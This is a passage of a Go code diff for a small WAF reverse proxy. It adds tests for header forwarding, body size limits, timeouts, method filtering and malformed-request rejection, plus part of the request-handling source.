+	standIn := startServeWAF(t, allow)
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		_, _ = io.WriteString(w, greeting)
+	})
+	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+		maxRequestTime: "3000",
+	})
+
+	// Far more announced than sent, so that Go's server answers for the app
+	// without waiting for the rest.
+	conn := dial(t, addr)
+	send(t, conn, post+announcedLength(100*questionBodyMaxBytes)+
+		strings.Repeat("x", questionBodyMaxBytes))
+
+	if status := readStatus(t, conn); status != http.StatusOK {
+		t.Errorf("status %d, want the app's 200", status)
+	}
+}
+
+func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
+	t.Parallel()
+
+	working := make(chan struct{})
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
+		close(working)
+		<-r.Context().Done()
+	})
+	addr, out := startRProxy(t, standIn.URL, app.URL, nil)
+
+	conn := dial(t, addr)
+	send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
+
+	select {
+	case <-working:
+	case <-time.After(waitLimit):
+		t.Fatal("the app was not asked")
+	}
+
+	tcpConn, ok := conn.(*net.TCPConn)
+	if !ok {
+		t.Fatalf("the connection is a %T", conn)
+	}
+
+	err := tcpConn.CloseWrite()
+	if err != nil {
+		t.Fatalf("stop sending: %v", err)
+	}
+
+	text, err := io.ReadAll(conn)
+	if err != nil || len(text) != 0 {
+		t.Errorf("read %q (%v), want the connection closed without an answer", text, err)
+	}
+
+	if line := out.requestLine(t); line["status"] != 0.0 {
+		t.Errorf("line %v, want status 0", line)
+	}
+}
+
+func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing.T) {
+	t.Parallel()
+
+	const answer = "the end of a long answer"
+
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		_, _ = io.Copy(io.Discard, r.Body)
+		_ = http.NewResponseController(w).Flush()
+
+		time.Sleep(2100 * time.Millisecond)
+
+		_, _ = io.WriteString(w, answer)
+	})
+	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+		maxRequestTime: "2000",
+	})
+
+	got := visit(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")))
+	if got.status != http.StatusOK || got.body != answer {
+		t.Errorf("answered %d %q, want the app's whole answer", got.status, got.body)
+	}
+}
+
+func TestAVisitorThatStopsSendingGetsAnAnswerRProxyGivesByTheDeadline(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, start string
+		status      int
+	}{
+		{"a deny", post, http.StatusForbidden},
+		{
+			"the health check",
+			"GET " + servewaf.HealthPath + " HTTP/1.1\r\nHost: site.example\r\n",
+			http.StatusOK,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startServeWAF(t, deny)
+			app := startApp(t, greet)
+			// The time limit is long enough for a loaded host to read the first part of
+			// the body before it runs out.
+			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+				maxRequestTime: "3000",
+			})
+
+			// Go's server waits for a little of the body left before it sends an answer,
+			// and the time for sending the request ends that wait.
+			conn := dial(t, addr)
+			send(t, conn, tc.start+announcedLength(questionBodyMaxBytes+100)+
+				strings.Repeat("x", questionBodyMaxBytes))
+
+			if status := readStatus(t, conn); status != tc.status {
+				t.Errorf("status %d, want %d", status, tc.status)
+			}
+		})
+	}
+}

internal/rproxy/question_test.go

@@ -0,0 +1,523 @@
+package rproxy_test
+
+import (
+	"bytes"
+	"crypto/rand"
+	"io"
+	"maps"
+	"net/http"
+	"net/http/httptest"
+	"slices"
+	"strconv"
+	"strings"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+// questionBodyMaxBytes is the most of a body a question carries.
+const questionBodyMaxBytes = servewaf.QuestionBodyMaxBytes
+
+// chunked is the encoding of a body whose length the visitor did not announce.
+const chunked = "chunked"
+
+// pathGoReencodes is a path Go's client would decode and escape again, %2F turned
+// into / and | into %7C, unless told to send it as it is. A test sets it as the
+// visitor's URL.Opaque, so that the visitor sends it unchanged too.
+const pathGoReencodes = "/some%2Fpath/with%20space|pipe"
+
+func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
+	t.Parallel()
+
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, greet)
+	addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
+
+	const target = pathGoReencodes + "?b=2&a=1&bad=%zz;x"
+
+	req := newRequest(t, http.MethodDelete, addr, target, http.NoBody)
+	req.URL.Opaque = pathGoReencodes
+	req.Host = site
+	req.Header.Set("X-Test", "from the visitor")
+	req.Header.Set(forwardedForHeader, "198.51.100.1")
+	req.Header.Set(forwardedProtoHeader, "gopher")
+	req.Header.Set(requestIDHeader, "the-visitor's")
+	req.Header.Set(servewaf.ClientHeader, "198.51.100.2")
+	req.Header.Set(servewaf.PeerHeader, "198.51.100.3")
+	req.Header.Set(servewaf.ContentLengthHeader, "12345")
+	// Go's client then sends no User-Agent, so that one in the question would be
+	// Go's own.
+	req.Header["User-Agent"] = nil
+
+	wantGreeting(t, visit(t, req))
+
+	asked := standIn.question(t)
+	if asked.method != http.MethodDelete || asked.target != target ||
+		asked.host != site {
+		t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host)
+	}
+
+	if asked.header.Get(requestIDHeader) == "the-visitor's" {
+		t.Error("the question carries the visitor's id")
+	}
+
+	// Exactly these: visit's connection has the visitor send Connection: close.
+	want := http.Header{}
+	want.Set("Connection", "close")
+	want.Set("X-Test", "from the visitor")
+	want.Set(forwardedForHeader, "198.51.100.1")
+	want.Set(forwardedProtoHeader, "http")
+	want.Set(requestIDHeader, asked.header.Get(requestIDHeader))
+	want.Set(servewaf.ClientHeader, localhost)
+	want.Set(servewaf.PeerHeader, localhost)
+
+	if !maps.EqualFunc(asked.header, want, slices.Equal) {
+		t.Errorf("the question's headers are %v, want %v", asked.header, want)
+	}
+}
+
+func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
+	t.Parallel()
+
+	const visitor = "203.0.113.9"
+
+	for _, tc := range []struct {
+		name, trusted, client, proto, forwarded string
+	}{
+		{
+			"from a trusted proxy", localhost + "/32", visitor, "https",
+			visitor + ", " + localhost,
+		},
+		{"from a peer not trusted", "10.0.0.0/8", localhost, "http", localhost},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startServeWAF(t, allow)
+			forwarded := make(chan http.Header, 1)
+			app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+				forwarded <- r.Header.Clone()
+
+				greet(w, r)
+			})
+			addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
+				trustedProxies: tc.trusted,
+			})
+
+			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+			req.Header.Set(forwardedForHeader, visitor)
+			req.Header.Set(forwardedProtoHeader, "https")
+			wantGreeting(t, visit(t, req))
+
+			asked := standIn.question(t)
+			if asked.header.Get(servewaf.ClientHeader) != tc.client ||
+				asked.header.Get(servewaf.PeerHeader) != localhost ||
+				asked.header.Get(forwardedForHeader) != visitor ||
+				asked.header.Get(forwardedProtoHeader) != tc.proto {
+				t.Errorf("the question's headers are %v", asked.header)
+			}
+
+			if line := out.requestLine(t); line["client_ip"] != tc.client {
+				t.Errorf("line %v, want client_ip %s", line, tc.client)
+			}
+
+			if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
+				t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded)
+			}
+		})
+	}
+}
+
+func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name   string
+		header []string
+		client string
+	}{
+		{
+			"the first address outside the trusted proxies, from the right",
+			[]string{"198.51.100.7, 203.0.113.9, 10.0.0.2"}, "203.0.113.9",
+		},
+		{
+			"the leftmost, when every address is a trusted proxy",
+			[]string{"10.0.0.5, 10.0.0.2"}, "10.0.0.5",
+		},
+		{"the peer, with no header", nil, localhost},
+		{
+			"the last address read, before an entry that is not an address",
+			[]string{"203.0.113.9, unknown, 10.0.0.2"}, "10.0.0.2",
+		},
+		{
+			"read as one list, with several header lines",
+			[]string{"2001:db8::7", "10.0.0.2"}, "2001:db8::7",
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startServeWAF(t, allow)
+			app := startApp(t, greet)
+			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+				trustedProxies: localhost + "/32,10.0.0.0/8",
+			})
+
+			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+			req.Header[forwardedForHeader] = tc.header
+			wantGreeting(t, visit(t, req))
+
+			if got := standIn.question(t).header.Get(servewaf.ClientHeader); got != tc.client {
+				t.Errorf("the question names %s, want %s", got, tc.client)
+			}
+		})
+	}
+}
+
+// randomBytes returns n random bytes.
+func randomBytes(n int) []byte {
+	body := make([]byte, n)
+	_, _ = rand.Read(body) // it never returns an error
+
+	return body
+}
+
+func TestFirst64KiBReachServeWAFAndTheWholeBodyTheApp(t *testing.T) {
+	t.Parallel()
+
+	for _, size := range []int{
+		1, questionBodyMaxBytes - 1, questionBodyMaxBytes, questionBodyMaxBytes + 1,
+		5 * questionBodyMaxBytes,
+	} {
+		for _, announced := range []bool{true, false} {
+			name := strconv.Itoa(size) + " bytes, length announced: " +
+				strconv.FormatBool(announced)
+
+			t.Run(name, func(t *testing.T) {
+				t.Parallel()
+
+				body := randomBytes(size)
+				standIn := startServeWAF(t, allow)
+				received := make(chan []byte, 1)
+				app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+					whole, _ := io.ReadAll(r.Body)
+					received <- whole
+
+					greet(w, r)
+				})
+				addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
+
+				req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body))
+				if !announced {
+					// Go's client sends a body of unknown length in chunks.
+					req.ContentLength = -1
+				}
+
+				wantGreeting(t, visit(t, req))
+
+				asked := standIn.question(t)
+				want := body[:min(size, questionBodyMaxBytes)]
+				wantQuestionBody(t, asked, want, size, announced)
+
+				if !bytes.Equal(<-received, body) {
+					t.Error("the app did not get the whole body")
+				}
+
+				if report := standIn.report(t); report.RequestBytes != int64(size) {
+					t.Errorf("report %+v, of %d bytes", report, size)
+				}
+			})
+		}
+	}
+}
+
+// wantQuestionBody checks the body a question carries, want, and how it gives
+// the length of the visitor's body, of size bytes.
+func wantQuestionBody(
+	t *testing.T, asked question, want []byte, size int, announced bool,
+) {
+	t.Helper()
+
+	if !bytes.Equal(asked.body, want) {
+		t.Errorf("the question carries %d bytes, want the first %d", len(asked.body),
+			len(want))
+	}
+
+	values := asked.header.Values(servewaf.ContentLengthHeader)
+
+	if announced {
+		if !slices.Equal(values, []string{strconv.Itoa(size)}) ||
+			asked.contentLength != int64(len(want)) {
+			t.Errorf("announced %v and length %d, want %d and %d", values,
+				asked.contentLength, size, len(want))
+		}
+
+		return
+	}
+
+	if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) {
+		t.Errorf("announced %v and encoded %v, want none and chunked", values,
+			asked.transferEncoding)
+	}
+}
+
+func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
+	t.Parallel()
+
+	standIn := startServeWAF(t, deny)
+	app := startApp(t, greet)
+	addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
+
+	// Far more announced than sent. Go's server does not wait for that much, so
+	// the answer comes at once.
+	conn := dial(t, addr)
+	send(t, conn, post+announcedLength(100*questionBodyMaxBytes)+
+		strings.Repeat("x", questionBodyMaxBytes))
+
+	if status := readStatus(t, conn); status != http.StatusForbidden {
+		t.Errorf("status %d, want servewaf's 403", status)
+	}
+
+	if report := standIn.report(t); report.RequestBytes != questionBodyMaxBytes {
+		t.Errorf("report %+v, want the first part's bytes", report)
+	}
+}
+
+func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, framing, body string
+		encoding            []string
+	}{
+		{
+			chunked, "Transfer-Encoding: chunked\r\n\r\n4\r\nbody\r\n0\r\n\r\n", "body",
+			[]string{chunked},
+		},
+		{
+			"chunked and empty", "Transfer-Encoding: chunked\r\n\r\n0\r\n\r\n", "",
+			[]string{chunked},
+		},
+		{"with its length", announcedLength(4) + "body", "body", nil},
+	} {
+		for _, method := range []string{
+			http.MethodGet, http.MethodDelete, http.MethodPost,
+		} {
+			t.Run(method+" "+tc.name, func(t *testing.T) {
+				t.Parallel()
+
+				standIn := startServeWAF(t, deny)
+				addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
+
+				conn := dial(t, addr)
+				send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
+
+				if status := readStatus(t, conn); status != http.StatusForbidden {
+					t.Errorf("status %d, want servewaf's 403", status)
+				}
+
+				asked := standIn.question(t)
+				if string(asked.body) != tc.body ||
+					!slices.Equal(asked.transferEncoding, tc.encoding) {
+					t.Errorf("the question carries %q, encoded %v, want %q, encoded %v",
+						asked.body, asked.transferEncoding, tc.body, tc.encoding)
+				}
+			})
+		}
+	}
+}
+
+func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
+	t.Parallel()
+
+	for _, method := range []string{http.MethodTrace, "PROPFIND", "LOCK", "BREW"} {
+		t.Run(method, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startServeWAF(t, allow)
+			app := startApp(t, func(http.ResponseWriter, *http.Request) {
+				t.Error("the app was asked")
+			})
+			addr, out := startRProxy(t, standIn.URL, app.URL, nil)
+
+			got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
+			if got.status != http.StatusMethodNotAllowed ||
+				got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY" {
+				t.Errorf("answered %+v, want 405 naming the methods passed on", got)
+			}
+
+			line := out.requestLine(t)
+			if line["status"] != float64(http.StatusMethodNotAllowed) ||
+				line["disposition"] != nil || line["default_disposition"] != nil {
+				t.Errorf("line %v, want status 405 and no disposition", line)
+			}
+
+			if len(standIn.questions) != 0 {
+				t.Error("servewaf was asked")
+			}
+
+			standIn.wantNoReport(t)
+		})
+	}
+}
+
+func TestEachMethodPassedOnReachesServeWAFAndTheApp(t *testing.T) {
+	t.Parallel()
+
+	for _, method := range []string{
+		http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
+		http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
+	} {
+		t.Run(method, func(t *testing.T) {
+			t.Parallel()
+
+			reached := make(chan string, 1)
+			standIn := startServeWAF(t, allow)
+			app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
+				reached <- r.Method
+			})
+			addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
+
+			got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
+			if got.status != http.StatusOK {
+				t.Errorf("answered %+v, want the app's 200", got)
+			}
+
+			if asked := standIn.question(t); asked.method != method {
+				t.Errorf("servewaf was asked about %s", asked.method)
+			}
+
+			if atApp := <-reached; atApp != method {
+				t.Errorf("the app was asked %s", atApp)
+			}
+		})
+	}
+}
+
+func TestARequestThatCannotGoToServeWAFAsSentIsRefused(t *testing.T) {
+	t.Parallel()
+
+	const host = "Host: site.example\r\n\r\n"
+
+	for name, request := range map[string]string{
+		"a target of a scheme":    "GET x:admin HTTP/1.1\r\n" + host,
+		"a target of a URL":       "GET http://site.example/ HTTP/1.1\r\n" + host,
+		"a host Go will not send": "GET http://a<b/ HTTP/1.1\r\n" + host,
+		"a target of a host":      "GET site.example:443 HTTP/1.1\r\n" + host,
+		"a target of *":           "GET * HTTP/1.1\r\n" + host,
+		"a target of //":          "GET //x/y HTTP/1.1\r\n" + host,
+		"a target of // escaped":  "GET //x%2Fadmin| HTTP/1.1\r\n" + host,
+		"an empty Host":           "GET / HTTP/1.1\r\nHost:\r\n\r\n",
+		"HTTP/1.0 with no Host":   "GET / HTTP/1.0\r\n\r\n",
+		"a Host with a zone":      "GET / HTTP/1.1\r\nHost: [fe80::1%25eth0]:80\r\n\r\n",
+		"two User-Agents": "GET / HTTP/1.1\r\nUser-Agent: a\r\nUser-Agent: b\r\n" +
+			host,
+	} {
+		t.Run(name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startServeWAF(t, allow)
+			app := startApp(t, greet)
+			addr, out := startRProxy(t, standIn.URL, app.URL, nil)
+
+			conn := dial(t, addr)
+			send(t, conn, request)
+
+			if status := readStatus(t, conn); status != http.StatusBadRequest {
+				t.Errorf("status %d, want 400", status)
+			}
+
+			line := out.requestLine(t)
+			if line["status"] != float64(http.StatusBadRequest) ||
+				line["disposition"] != nil || line["default_disposition"] != nil {
+				t.Errorf("line %v, want status 400 and no disposition", line)
+			}
+
+			if len(standIn.questions) != 0 {
+				t.Error("servewaf was asked")
+			}
+
+			standIn.wantNoReport(t)
+		})
+	}
+}
+
+func TestAHostWithAPercentSignButNoBracketGoesToServeWAF(t *testing.T) {
+	t.Parallel()
+
+	const host = "a%b"
+
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, greet)
+	addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
+
+	conn := dial(t, addr)
+	send(t, conn, "GET / HTTP/1.1\r\nHost: "+host+"\r\n\r\n")
+
+	if status := readStatus(t, conn); status != http.StatusOK {
+		t.Errorf("status %d, want the app's 200", status)
+	}
+
+	if asked := standIn.question(t); asked.host != host {
+		t.Errorf("asked about the host %q, want %q", asked.host, host)
+	}
+}
+
+func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
+	t.Parallel()
+
+	const want = "http"
+
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, greet)
+	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+		trustedProxies: localhost + "/32",
+	})
+
+	wantGreeting(t, get(t, addr, "/"))
+
+	asked := standIn.question(t)
+	if got := asked.header.Get(forwardedProtoHeader); got != want {
+		t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want)
+	}
+}
+
+func TestAQuestionNamesNoZone(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, remoteAddr, forwardedFor, client, peer string
+	}{
+		{"from a link-local peer", "[fe80::1%eth0]:1234", "", "fe80::1", "fe80::1"},
+		{
+			"from X-Forwarded-For through a trusted peer", localhost + ":1234",
+			"2001:db8::1%eth0", "2001:db8::1", localhost,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startServeWAF(t, deny)
+			app := startApp(t, greet)
+			_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
+				trustedProxies: localhost + "/32",
+			})
+
+			req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
+			req.RemoteAddr = tc.remoteAddr
+			req.Header.Set(forwardedForHeader, tc.forwardedFor)
+
+			server.Handler.ServeHTTP(httptest.NewRecorder(), req)
+
+			asked := standIn.question(t)
+			if asked.header.Get(servewaf.ClientHeader) != tc.client ||
+				asked.header.Get(servewaf.PeerHeader) != tc.peer {
+				t.Errorf("the question's headers are %v", asked.header)
+			}
+
+			if line := out.requestLine(t); line["client_ip"] != tc.client {
+				t.Errorf("line %v, want client_ip %s", line, tc.client)
+			}
+		})
+	}
+}

internal/rproxy/request.go

@@ -0,0 +1,593 @@
+package rproxy
+
+import (
+	"context"
+	"crypto/rand"
+	"errors"
+	"io"
+	"net/http"
+	"net/http/httptrace"
+	"net/http/httputil"
+	"net/netip"
+	"net/url"
+	"os"
+	"strconv"
+	"sync"
+	"sync/atomic"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/rules"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+// flushAfterEachWrite has ReverseProxy pass on each part of the app's answer as
+// soon as it arrives.
+const flushAfterEachWrite time.Duration = -1
+
+// reportStatusMax is the highest status servewaf takes in a report. An app can
+// send a higher one, up to 999, and the visitor gets that as it is.
+const reportStatusMax = 599
+
+// plainText is the Content-Type of the answers rproxy gives itself.
+const plainText = "text/plain; charset=utf-8"
+
+// request is one request on its way through rproxy, from the moment its headers
+// have been read to its log line and report.
+type request struct {
+	h  *handler
+	in *http.Request
+	// rc sets the deadlines of the connection to the visitor.
+	rc   *http.ResponseController
+	out  *responseWriter
+	body *requestBody // nil for a request without a body
+
+	// id is the fresh id made for the request when it arrived.
+	id          string
+	client      netip.Addr
+	peer        netip.Addr
+	peerTrusted bool
+	start       time.Time
+
+	// disposition is what is done with the request: servewaf's valid disposition,
+	// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one.
+	disposition string
+	// answered is true when servewaf gave disposition, which makes a report due,
+	// and byDefault when SWRP_DEFAULT_DISPOSITION did.
+	answered  bool
+	byDefault bool
+	// asn and country are servewaf's X-Client-ASN and X-Client-Country, for the
+	// app.
+	asn, country string
+
+	// upstreamStart is when the request was handed to the app.
+	upstreamStart time.Time
+	// cancel ends the request to the app.
+	cancel context.CancelFunc
+	// refused is the status of the first refusal, from whichever goroutine meets
+	// it: what the visitor is answered if the response has not started yet.
+	refused atomic.Int64
+	// upgraded is the connection to the app once the app has switched protocols,
+	// as for a WebSocket, and nil otherwise.
+	upgraded *upgradedConn
+
+	// mu guards what follows. The time limits run on goroutines of their own,
+	// and the transport starts and stops them, and notes the times below, from
+	// its own; once timersStopped is set, neither time limit acts any more.
+	mu            sync.Mutex
+	timersStopped bool
+	requestTimer  *time.Timer
+	responseTimer *time.Timer
+	// requestEnd is when the app had been sent the whole request, or the answer
+	// started, if that was sooner.
+	requestEnd time.Time
+	// answerStarted is when the first byte of the app's answer arrived.
+	answerStarted time.Time
+}
+
+// newRequest starts handling r: it notes the time, works out the visitor from
+// the TCP peer and X-Forwarded-For, and makes the request's id.
+func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
+	peer := peerAddress(r)
+	trusted := h.config.TrustedProxies
+
+	rq := &request{
+		h:           h,
+		in:          r,
+		rc:          http.NewResponseController(w),
+		out:         &responseWriter{ResponseWriter: w},
+		id:          rand.Text(),
+		client:      clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted),
+		peer:        peer,
+		peerTrusted: isInside(peer, trusted),
+		start:       time.Now(),
+	}
+
+	if r.Body != http.NoBody {
+		rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq}
+	}
+
+	return rq
+}
+
+// answerHealth answers the health check.
+func (rq *request) answerHealth() {
+	rq.prepareOwnAnswer(rq.requestDeadline())
+	rq.out.Header().Set("Content-Type", plainText)
+	rq.send(http.StatusOK, []byte("ok\n"))
+}
+
+// readFirstPartOfBody reads up to the first 64 KiB of the body into memory,
+// within SWRP_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A
+// visitor too slow to send it is answered 408. For a malformed chunk, or a
+// visitor that went away or stopped its sending side, the connection is closed
+// without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part
+// read, so that servewaf is asked first; passToApp then refuses it.
+func (rq *request) readFirstPartOfBody() bool {
+	if rq.body == nil {
+		return true
+	}
+
+	_ = rq.rc.SetReadDeadline(rq.requestDeadline())
+	held, err := io.ReadAll(io.LimitReader(rq.body, servewaf.QuestionBodyMaxBytes))
+	// From here on, the request timer ends a read of the rest of the body, so that
+	// the answer can name the side rproxy was waiting on.
+	_ = rq.rc.SetReadDeadline(time.Time{})
+
+	rq.body.held = held
+
+	switch {
+	case err == nil || rq.refused.Load() != 0:
+		return true
+	case errors.Is(err, os.ErrDeadlineExceeded):
+		rq.answer(http.StatusRequestTimeout)
+
+		return false
+	default:
+		// This panic has Go's server close the connection without an answer, and
+		// log nothing; the deferred finish still runs.
+		panic(http.ErrAbortHandler)
+	}
+}
+
+// setPathAsSent has out, the URL of a request made from in, send the path as the
+// visitor sent it. Go sends the path URL.EscapedPath gives, which, for a path
+// holding a character Go escapes, such as |, is the whole path decoded and
+// escaped again, %2F turned into /. Opaque is sent as it is.
+func setPathAsSent(out *url.URL, in *http.Request) {
+	out.Opaque = rules.Path(in)
+}
+
+// forward passes the request to the app, the part of the body held and then the
+// rest, and the app's answer back. ctx is the request's own context.
+func (rq *request) forward(ctx context.Context) {
+	ctx, cancel := context.WithCancel(ctx)
+	defer cancel()
+
+	rq.cancel = cancel
+	ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{
+		WroteRequest:         rq.wroteRequest,
+		GotFirstResponseByte: rq.gotFirstResponseByte,
+	})
+
+	out := rq.in.WithContext(ctx)
+	if rq.body != nil {
+		out.Body = rq.body
+	}
+
+	reverseProxy := &httputil.ReverseProxy{
+		Rewrite:        rq.rewrite,
+		Transport:      rq.h.transport,
+		FlushInterval:  flushAfterEachWrite,
+		ErrorLog:       rq.h.errorLog,
+		ModifyResponse: rq.modifyResponse,
+		ErrorHandler:   rq.answerError,
+	}
+
+	rq.startRequestTimer()
+	rq.upstreamStart = time.Now()
+	reverseProxy.ServeHTTP(rq.out, out)
+}
+
+// rewrite makes the request the app receives: the visitor's request, unchanged,
+// sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set,
+// without any X-Client-ASN or X-Client-Country the visitor sent, and with
+// servewaf's.
+func (rq *request) rewrite(pr *httputil.ProxyRequest) {
+	upstream := rq.h.config.UpstreamURL
+	pr.Out.URL.Scheme = upstream.Scheme
+	pr.Out.URL.Host = upstream.Host
+	// ReverseProxy drops query parameters it cannot parse; the app gets the
+	// query as the visitor sent it.
+	pr.Out.URL.RawQuery = pr.In.URL.RawQuery
+	setPathAsSent(pr.Out.URL, pr.In)
+
+	setForwardedHeaders(pr.In, pr.Out, rq.peer, rq.peerTrusted)
+	pr.Out.Header.Set(requestIDHeader, rq.id)
+	pr.Out.Header.Del(asnHeader)
+	pr.Out.Header.Del(countryHeader)
+
+	if rq.asn != "" {
+		pr.Out.Header.Set(asnHeader, rq.asn)
+	}
+
+	if rq.country != "" {
+		pr.Out.Header.Set(countryHeader, rq.country)
+	}
+}
+
+// modifyResponse looks at the app's answer before ReverseProxy passes it on.
+func (rq *request) modifyResponse(res *http.Response) error {
+	if res.StatusCode == http.StatusSwitchingProtocols {
+		// An upgraded connection, such as a WebSocket, is not cut by the time
+		// limits. ReverseProxy writes this answer straight to the connection it
+		// takes over, not through rq.out, and then copies what passes each way
+		// through res.Body, the connection to the app. It may still refuse the
+		// switch, as when the app's Upgrade is not the visitor's, so the status
+		// is noted only once it has taken over the connection, by rq.out's
+		// Hijack.
+		rq.stopTimers()
+
+		conn, ok := res.Body.(io.ReadWriteCloser)
+		if ok {
+			rq.upgraded = &upgradedConn{ReadWriteCloser: conn}
+			res.Body = rq.upgraded
+		}
+
+		return nil
+	}
+
+	maxBytes := rq.h.config.MaxResponseSize
+	if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
+		rq.refuse(http.StatusBadGateway)
+
+		return errResponseTooLarge
+	}
+
+	// Go's server adds a Content-Type it guesses from the body to a response
+	// whose headers have no Content-Type key. The key with no value sends none,
+	// as the app sent none.
+	if res.Header.Get("Content-Type") == "" {
+		rq.out.Header()["Content-Type"] = nil
+	}
+
+	res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
+	rq.setResponseDeadline()
+
+	return nil
+}
+
+// answerError is ReverseProxy's ErrorHandler: the request could not be passed to
+// the app, or the app's answer cannot be passed on.
+func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
+	if rq.upgraded != nil {
+		// The app switched protocols, but the switch was not passed on, and
+		// ReverseProxy leaves the app's connection open when it refuses it.
+		_ = rq.upgraded.Close()
+	}
+
+	status := int(rq.refused.Load())
+	if status == 0 {
+		if rq.in.Context().Err() != nil {
+			// The visitor went away or stopped its sending side. This panic has Go's
+			// server close the connection without an answer, and log nothing; the
+			// deferred finish still runs.
+			panic(http.ErrAbortHandler)
+		}
+
+		rq.h.processLog.Warn("request to the app failed", "error", err.Error())
+
+		status = http.StatusBadGateway
+	}
+
+	rq.answer(status)
+}
+
+// answer sends rproxy's own answer, unless the response has already started.
+func (rq *request) answer(status int) {
+	rq.refused.CompareAndSwap(0, int64(status))
+
+	if rq.out.status != 0 {
+		return // too late to answer: the connection can only be cut
+	}
+
+	// A visitor found too slow is read no more; any other may go on sending until
+	// its time is up, so that Go's server can read the rest of the body and end
+	// the request cleanly.
+	deadline := rq.requestDeadline()
+	if status == http.StatusRequestTimeout {
+		deadline = time.Now()
+	}
+
+	rq.prepareOwnAnswer(deadline)
+
+	header := rq.out.Header()
+	header.Set("Content-Type", plainText)
+	header.Set("X-Content-Type-Options", "nosniff")
+	rq.send(status, []byte(http.StatusText(status)+"\n"))
+}
+
+// send gives the visitor an answer rproxy holds whole: status, the headers set so
+// far and body. Go's server would otherwise send so short an answer only once the
+// handler has returned, after finish has written the log line and sent the report.
+// Without Content-Length, the flush would send the body in chunks, the last of
+// which would still wait for the handler. A HEAD's answer has no body, so any
+// Content-Length it has stays as servewaf gave it.
+func (rq *request) send(status int, body []byte) {
+	if rq.in.Method != http.MethodHead {
+		rq.out.Header().Set("Content-Length", strconv.Itoa(len(body)))
+	}
+
+	rq.out.WriteHeader(status)
+	_, _ = rq.out.Write(body)
+	_ = rq.rc.Flush()
+}
+
+// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
+// reading of a body that has not arrived whole ends at deadline, and the answer
